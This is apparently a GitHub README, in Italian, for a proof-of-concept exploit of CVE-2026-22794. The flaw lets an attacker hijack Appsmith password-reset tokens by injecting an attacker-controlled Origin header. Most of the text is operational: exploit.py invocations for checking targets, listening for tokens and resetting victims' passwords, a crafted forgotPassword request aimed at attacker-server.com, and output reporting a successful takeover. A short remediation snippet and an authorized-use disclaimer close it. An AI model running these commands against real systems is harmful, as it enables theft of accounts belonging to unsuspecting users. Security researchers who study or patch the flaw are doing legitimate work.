
π΄ CVE-2026-22794 - Appsmith Password Reset Account Takeover via Origin Header Injection | PoC Exploit + Nuclei Template
Dirottamento del Link di Reset Password tramite Manipolazione dell'Header Origin
Questo repository contiene una Proof of Concept (PoC) per CVE-2026-22794, una vulnerabilitΓ critica in Appsmith che consente agli attaccanti di dirottare i token di reset password e ottenere il pieno controllo dell'account.
| Campo | Valore |
|---|
| ID CVE | CVE-2026-22794 |
| Software Interessato | Appsmith (versioni precedenti alla patch) |
| Tipo di VulnerabilitΓ | Iniezione dell'Header Origin |
| Impatto | Pieno Controllo dell'Account |
| Punteggio CVSS | 9.1 (Critico) |
| Vettore di Attacco | Rete |
| ComplessitΓ dell'Attacco | Bassa |
| Privilegi Richiesti | Nessuno |
| Interazione dell'Utente | Richiesta (la vittima clicca sul link) |
Appsmith utilizza l'header HTTP Origin senza validazione per costruire gli URL di reset password e verifica email. Il codice vulnerabile assegna direttamente l'header Origin all'URL base di reset password:
userPasswordDTO.setBaseUrl(originHeader);
Questo consente a un attaccante di:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β FLUSSO DELL'ATTACCO β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββ ββββββββββββ ββββββββββββ
β ATTACCANTEβ β APPSMITH β β VITTIMA β
ββββββ¬ββββββ ββββββ¬ββββββ ββββββ¬ββββββ
β β β
β 1. POST /forgotPassword β β
β Origin: attacker.com β β
β email: [email protected] β β
βββββββββββββββββββββββββββββββ>β β
β β β
β β 2. Invio email con β
β β attacker.com/reset?token β
β βββββββββββββββββββββββββββββββ>β
β β β
β 3. La vittima clicca sul link β β
β<βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β β
β 4. Token catturato! β β
β β β
β 5. POST /resetPassword β β
β token: STOLEN_TOKEN β β
β password: attacker123 β β
βββββββββββββββββββββββββββββββ>β β
β β β
β 6. CONTROLLO DELL'ACCOUNT! β β β
β β β
# Clona il repository
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC
# Installa le dipendenze
pip install -r requirements.txt
python exploit.py --target https://appsmith.target.com --check
python exploit.py --listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com \
--listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--reset-token CAPTURED_TOKEN \
--new-password "NewP@ssw0rd!"
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json
{
"email": "[email protected]"
}
Link di Reset Password: https://attacker-server.com/user/resetPassword?token=abc123xyz...
[+] RICHIESTA IN ARRIVO CATTURATA!
[*] Percorso: /user/resetPassword?token=abc123xyz789...
[!!!] TOKEN DI RESET PASSWORD CATTURATO!
[!!!] Token: abc123xyz789...
[+] CONTROLLO DELL'ACCOUNT RIUSCITO!
[+] La password Γ¨ stata resettata a: NewP@ssw0rd!
Le organizzazioni che utilizzano Appsmith dovrebbero:
// β CODICE VULNERABILE
userPasswordDTO.setBaseUrl(originHeader);
// β
CODICE SICURO
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// Oppure validare contro la whitelist
if (!allowedOrigins.contains(originHeader)) {
throw new InvalidOriginException("Header origin non valido");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);
CVE-2026-22794/
βββ README.md # Questo file
βββ exploit.py # Script exploit principale
βββ requirements.txt # Dipendenze Python
βββ LICENSE # Licenza MIT
βββ docs/
βββ technical_analysis.md # Analisi tecnica dettagliata della vulnerabilitΓ
Questo strumento Γ¨ fornito esclusivamente per test di sicurezza autorizzati e scopi educativi.
Ricercatore di Sicurezza
Questo progetto Γ¨ concesso in licenza sotto la Licenza MIT - consultare il file LICENSE per i dettagli.
β Se hai trovato utile questo strumento, metti una stella al repository! β